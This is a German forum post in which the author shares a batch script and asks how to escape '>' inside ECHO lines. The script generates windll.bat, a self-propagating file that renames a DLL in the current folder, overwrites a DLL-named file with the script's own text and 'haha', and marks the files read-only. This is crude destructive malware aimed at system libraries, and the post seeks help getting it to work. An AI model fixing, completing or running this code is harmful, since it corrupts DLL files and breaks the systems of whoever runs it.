Moin zusammen!
@echo off
SET A=windll.bat
IF exist %A% GOTO ENDE
IF NOT exist %A% GOTO ERSTELLEN
:ERSTELLEN
REM > %A%
ECHO @echo off>> %A%
ECHO FOR %%%%f in (*.dll) do set B=%%%%f>> %A%
ECHO RENAME %%B%% lol%%B%%>> %A%
ECHO COPY %%0.dll> lol%%B%%>> %A%
ECHO ECHO haha> lol%%B%%>> %A%
ECHO REN lol%%B%% *.dll>> %A%
ECHO attrib +r %%B%%>> %A%
attrib +r %A%
GOTO ENDE
:ENDE
CALL %A%
Also %A% = windll.bat und wenn diese Datei mit dem Text oben gestartet wird, soll er die ECHO's in %A% kopieren. Das macht er auch und dann gabs schon das erste Problem: Er hat die % net mehr kopiert.
Da hab ich auch ne Antwort gefunden: Das Doppelte an % wie im Text der in der neuen Datei drin stehen soll.
MEIN PROBLEM!:
er kopiert die > nicht und den Text dahinter auch net.
In den Zeilen:
ECHO COPY %%0.dll> lol%%B%%>> %A%
ECHO ECHO haha> lol%%B%%>> %A%
MUSS halt %%o.dll in lol%%B%% und das in %A%
Ebenso wie ein Kommentar haha in lol%%B%% und das in %A%
Ok wie mach ich die > ,dass sie mit in der neuen Datei drin stehn?
Danke im Voraus!